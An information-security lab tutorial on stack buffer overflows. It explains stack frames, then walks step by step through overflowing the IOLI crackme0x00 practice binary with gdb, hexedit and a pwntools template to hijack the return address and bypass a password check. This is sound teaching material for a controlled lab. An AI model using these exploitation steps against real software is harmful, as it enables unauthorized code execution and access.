Information Security Lab 7 | Stack Overflow

Series: Information Security Lab

Information Security Lab 7 | Stack Overflow

  1. Introduction to Stack Overflow

In this section, we will talk about the most popular and critical type of vulnerability called stack overflow. Techniques to exploit stack overflow problems were first documented in a well-known Phrack article called Smashing The Stack For Fun And Profit by Aleph One. Let’s first see some basic definitions in this article.

(1) Buffer

A buffer is simply a contiguous block of computer memory that holds multiple instances of the same data type.

(2) Static Arrays and Dynamic Arrays

Arrays, like all variables in C, can be declared either static or dynamic. Static variables are allocated at load time on the data segment. Dynamic variables are allocated at run time on the stack. We will concern ourselves only with the overflow of dynamic buffers.

(3) Overflow

To overflow is to flow, or fill over the top, brims, or bounds.

(4) Process Memory Region

Processes are divided into three memory regions: Text, Data, and Stack as follows,

/------------------\  lower
| | memory
| Text | addresses
| |
|------------------|
| (Initialized) |
| Data |
| (Uninitialized) |
|------------------|
| |
| Stack | higher
| | memory
\------------------/ addresses
  • The text region is fixed by the program and includes code (instructions) and read-only data.
  • The data region contains initialized and uninitialized data.
  • A stack is an abstract data type frequently used in computer science with a LIFO property.

(5) Process Memory Region: An Example

Now, let’s see what the stack looks like in a simple example. Suppose we have the following C script, and what it does is to call a function with the arguments 1, 2, and 3, and then we will create two buffers in that function.

With respect to how this is compiled in the paper, we will have the following assembly code,

pushl $3
pushl $2
pushl $1
call function
pushl %ebp
movl %esp,%ebp
subl $20,%esp

Suppose we have an empty stack at the beginning.

low                                                             high
<----[ Stack ]

The first three instructions push the function arguments into the stack.

low                                                             high
<----[ 1 ][ 2 ][ 3 ]
a b c

Then we will call function. This call instruction will push the current instruction pointer into the stack so that after the function finishes, we can go back to the current position. Therefore, this instruction pointer is also called the return address (RA).

low                                                             high
<----[ 0xc8a1902f ][ 1 ][ 2 ][ 3 ]
RA a b c

The frame pointer (%ebp) points to the start of the stack frame and does not move for the duration of the subroutine call. And this is used to show the stack of the current function. After we call a new function, the stack should also be changed so that the local variables in the caller function will not influence the callee function. To acquire a new stack, we have to push the ebp register value onto the stack.

low                                                             high
<----[ saved %ebp ][ 0xc8a1902f ][ 1 ][ 2 ][ 3 ]
FP RA a b c

It then copies the current SP onto EBP, making it the new FP pointer. We must remember that memory can only be addressed in multiples of the word size. A word in our case is 4 bytes or 32 bits. So our 5-byte buffer is really going to take 8 bytes (2 words) of memory, and our 10-byte buffer is going to take 12 bytes (3 words) of memory. That is why SP is being subtracted by 20.

low                                                             high
<---- [ 12 B ][ 8 B ][ saved %ebp ][ 0xc8a1902f ][ 1 ][ 2 ][ 3 ]
buffer2 buffer1 FP RA a b c

(6) Stack Overflow

In the previous example, we have talked about the stack memory region. And now, let’s focus on the stack overflow problem. In the stackovfl.c file, the function call takes three constant arguments. However, in some other cases, we are going to use some inputs from the users like scanf.

In the program above, the size of the buffer will be 4 bytes and we will then call the scanf function. So after we call scanf, the stack will be,

low                                                             high
<----[ saved %ebp ][ 0x... ][ 4 B ]
FP RA buf

However, if the user types in more than 4 characters, which will take the size of more than 4 bytes, the buffer will not be enough to store the data. If there are no checks of the buf size, we will continue writing to RA, FP, and even the values in the next stack. For example, we can compile the program above by,

$ gcc stackovfl2.c -o stackovfl2

And then if we simply run this code can type in aaaa, we will be fine because buf can contain the string aaaa.

$ ./stackovfl2
aaaa
aaaa

However, if we type in more than 4 characters, for instance, aaaaa , we will have a stack overflow problem.

$ ./stackovfl2
aaaaa
aaaaa
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)

2. Stack Overflow Exploitation

Now, we should use the VM environment to exploit our first stack overflow example. Let’s go to the directory of,

$ cd ~/tuts/lab03/tut03-stackovfl/

Then, let’s run the binary file crackme0x00 and randomly type in the password like aaaa. Then, it will tell us that we will have an invalid password.

$ ./crackme0x00
IOLI Crackme Level 0x00
Password:aaaa
Invalid Password!

Let’s suppose that the password we input can cause an overflow problem. And now, let’s have a try. Suppose we type in the password aaaaaaaaaaaaaaaaaaaaaaaaaaaa , then we will have a Segmentation fault problem and this can be caused by a stack overflow.

$ ./crackme0x00 
IOLI Crackme Level 0x00
Password: aaaaaaaaaaaaaaaaaaaaaaaaaaaa
Invalid Password!
Segmentation fault (core dumped)

Now, let’s try to use gdb and see what happens. We will create a password payload in the file /tmp/input and then we will give this value as the password.

$ echo AAAAAAAAAAAAAAAAAAAAAAAA > /tmp/input
$ gdb crackme0x00
pwndbg> r < /tmp/input
...
──────────────────────[ REGISTERS ]───────────────────────────
...
EBP 0x41414141 ('AAAA')
ESP 0xffffd578 ◂— 0x0
EIP 0x41414141 ('AAAA')
────────────────────────────[ DISASM ]────────────────────────
Invalid address 0x41414141
...

From this result, we can know that both the %ebp (the frame pointer) and %eip register (the instruction pointer) are overwritten to 0x41414141 , which is simply AAAA from the input. Therefore, we created a stack overflow problem. Note that if you want to check out the ASCII table in a quick way, you can try this out,

$ man ascii

In the payload above, we will have a Segmentation fault because the address 0x41414141 is invalid. But now, we can think about using a valid address that directly points to the shellcode we want to run. So when we return from the function, our shellocode will then be executed.

So first of all, we have to find out which part of the input will overwrite the %eip register that will result in executing a different program. In order to find this position, we can construct a new payload with a pattern of 4 same continuous characters (because each word takes 4 bytes) like AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ. So from the new dbg register result, we can know which part of the payload will rewrite %eip.

$ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ > /tmp/input
$ gdb crackme0x00
pwndbg> r < /tmp/input
...
EBP 0x45454545 ('EEEE')
ESP 0xffffd578 ◂— 'GGGGHHHHIIIIJJJJ'
EIP 0x46464646 ('FFFF')
───────────────────────────[ DISASM ]───────────────────────────
Invalid address 0x46464646
...

We can find out that the %eip register has the value of 0x46464646 , which means 'FFFF' by ASCII. We can also check this result by,

pwndbg> p/c 0x46464646
$1 = 70 'F'

This means that we can change the FFFF to the address we want it to return. For example, we can change it to address 0xdeadbeef (see why we will be using the 0xdeadbeef address from here) simply by modifying the payload to AAAABBBBCCCCDDDDEEEE\xef\xbe\xad\xdeGGGGHHHHIIIIJJJJ(because x86 is a little-endian machine). However, it’s hard to use echo to change this input file because the echo command will treat \xef\xbe\xad\xde as a string. Instead, we will use hexedit to modify this file by hexadecimal values. First, we have to install hexedit by,

$ sudo apt install hexedit

Then, we can open this file by,

$ hexedit /tmp/input

And then we can change the 0x46464646 part to 0xefbeadde as,

To save and quit this file, we can press F2 and Ctrl+C. Then, we can check the content of this file by,

$ hexdump /tmp/input
0000000 4141 4141 4242 4242 4343 4343 4444 4444
0000010 4545 4545 beef dead 4747 4747 4848 4848
0000020 4949 4949 4a4a 4a4a 000a
0000029

Finally, let’s check out if we successfully change the return address by the new payload /tmp/input. Let’s use gdb for checking the address again,

$ gdb crackme0x00
pwndbg> r < /tmp/input
...
EBP 0x45454545 ('EEEE')
ESP 0xffffd578 ◂— 'GGGGHHHHIIIIJJJJ'
EIP 0xdeadbeef
──────────────────────[ DISASM ]──────────────────────
Invalid address 0xdeadbeef
...

We can find out that the return address is redirected to 0xdeadbeef. Now, let’s redirect the program by changing the return address to somewhere when the program prints Password OK :). By this means, we are able to bypass the password and return to the place where we successfully enter the password.

To find out this place, we need to disassemble the binary crackme0x00 by Ghidra, IDA, or gdb, and we will use gdb for disassembling. You may need to refer to the previous sections if you can not remember how to do so. The disassembly operations are as follows,

$ gdb crackme0x00
pwndbg> r
...
Password:^c
...
pwndbg> bt
#0 0xf7fd5079 in __kernel_vsyscall ()
#1 0xf7ecdd87 in __GI___libc_read (fd=0, buf=0x804b570, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:27
#2 0xf7e5a318 in _IO_new_file_underflow (fp=<optimized out>) at fileops.c:531
#3 0xf7e5b43b in __GI__IO_default_uflow (fp=0xf7fbf5c0 <_IO_2_1_stdin_>) at genops.c:380
#4 0xf7e3ed41 in _IO_vfscanf_internal (s=<optimized out>, format=<optimized out>, argptr=<optimized out>, errp=<optimized out>) at vfscanf.c:630
#5 0xf7e49eb5 in __scanf (format=0x8048811 "%s") at scanf.c:33
#6 0x080486e1 in start () at tmp.c:21
#7 0x080486b1 in main (argc=1, argv=0xffffd614) at tmp.c:14
#8 0xf7dfff21 in __libc_start_main (main=0x80486a3 <main>, argc=1, argv=0xffffd614, init=0x8048740 <__libc_csu_init>, fini=0x80487a0 <__libc_csu_fini>, rtld_fini=0xf7fe5970 <_dl_fini>, stack_end=0xffffd60c) at ../csu/libc-start.c:310
#9 0x08048512 in _start ()
pwndbg> b *0x080486e1
...
pwndbg> r
...
Password: aaaa
Breakpoint 1, 0x080486e1 in start () at tmp.c:21
...
pwndbg> disassemble

And the disassembled code is as follows,

Dump of assembler code for function start:
0x080486b3 <+0>: push ebp
0x080486b4 <+1>: mov ebp,esp
0x080486b6 <+3>: sub esp,0x10
0x080486b9 <+6>: push 0x8048814
0x080486be <+11>: call 0x8048470 <puts@plt>
0x080486c3 <+16>: add esp,0x4
0x080486c6 <+19>: push 0x804882c
0x080486cb <+24>: call 0x8048430 <printf@plt>
0x080486d0 <+29>: add esp,0x4
0x080486d3 <+32>: lea eax,[ebp-0x10]
0x080486d6 <+35>: push eax
0x080486d7 <+36>: push 0x8048811
0x080486dc <+41>: call 0x8048480 <scanf@plt>
=> 0x080486e1 <+46>: add esp,0x8
0x080486e4 <+49>: push 0x8048837
0x080486e9 <+54>: lea eax,[ebp-0x10]
0x080486ec <+57>: push eax
0x080486ed <+58>: call 0x8048420 <strcmp@plt>
0x080486f2 <+63>: add esp,0x8
0x080486f5 <+66>: test eax,eax
0x080486f7 <+68>: jne 0x804872a <start+119>
0x080486f9 <+70>: push 0x804883e
0x080486fe <+75>: call 0x8048470 <puts@plt>
0x08048703 <+80>: add esp,0x4
0x08048706 <+83>: push 0x804884d
0x0804870b <+88>: lea eax,[ebp-0x10]
0x0804870e <+91>: push eax
0x0804870f <+92>: call 0x8048420 <strcmp@plt>
0x08048714 <+97>: add esp,0x8
0x08048717 <+100>: test eax,eax
0x08048719 <+102>: jne 0x8048737 <start+132>
0x0804871b <+104>: push 0x8048863
0x08048720 <+109>: call 0x80485f6 <print_key>
0x08048725 <+114>: add esp,0x4
0x08048728 <+117>: jmp 0x8048737 <start+132>
0x0804872a <+119>: push 0x8048872
0x0804872f <+124>: call 0x8048470 <puts@plt>
0x08048734 <+129>: add esp,0x4
0x08048737 <+132>: mov eax,0x0
0x0804873c <+137>: leave
0x0804873d <+138>: ret
End of assembler dump.

We can check out the memories by x command and finally, we will find out that the memory address 0x804883e contains the string we need. So we have to return back to address 0x080486f9 ,

pwndbg> x/1s 0x804883e
0x804883e: "Password OK :)"

Then we re-edit the /tmp/input file by,

$ hexedit /tmp/input

And finally, let’s try this payload to the crackme0x00 file again by,

$ cat /tmp/input | ./crackme0x00
IOLI Crackme Level 0x00
Password: Invalid Password!
Password OK :)
Segmentation fault (core dumped)

3. Python for Exploitation

In the tut03-stackovfl directory, we also provide a python exploitation script called exploit.py. You can check this file out by ls | grep py, and this file can be used to hijack the crackme0x00 file in an easy way.

$ cd ~/tuts/lab03/tut03-stackovfl
$ ls | grep py
exploit.py

In this template, we will start utilizing pwntools, which provides a set of libraries and tools to help writing exploits. In this section, we will not talk too much about it and we will pay more attention to it in the next section. To make the template work, you have to familiarize yourself with the following functions in pwntools.

  • p32() : this function is used to packing hexadecimal integers into strings of 32 bits. Please note that the x86 is a little-endian machine. For example,
$ python
Python 2.7.17 (default, Feb 27 2021, 15:10:58)
...
>> from pwn import *
>> p32(0xdeadbeef)
'\xef\xbe\xad\xde'
  • p64() : this function is used to packing hexadecimal integers into strings of 64 bits.
>>> p64(0xdeadbeef)
'\xef\xbe\xad\xde\x00\x00\x00\x00'

In the template, we have 3 questions. The first two questions are used to check whether you are familiarized with the p32 and p64 function with asserts. Another question is to build the payload we need to hijack the binary.

Interestingly, even if get the correct password by disassembling the code as we have done in the previous sections, we can not get the key. This is because the key is protected by 2 string comparisons. Let’s check out the logic of the program by Ghidra,

$ ghidra

After we analyze the file, we can know the disassembled code in C is as follows,

From this code, we can know that if we type in the password as it expects, our password can either be 250381 or no way you can reach!. However, if we want to get the flag, our input should be 250381 and no way you can reach! at the same time, which can be entirely impossible. So now, there is a must that we have to utilize the stack overflow to get the information we need.

From the analyzed result from Ghidra, we can know that “some address” is the instruction address that we will need for getting to the function print_key(“lab03:tutorial”);. So now, let’s build a payload to go to that address. We can simply use,

payload = "????" + p32(????)

After we configured the payload, we can run the python template by,

$ python exploit.py

Enjoy your flag!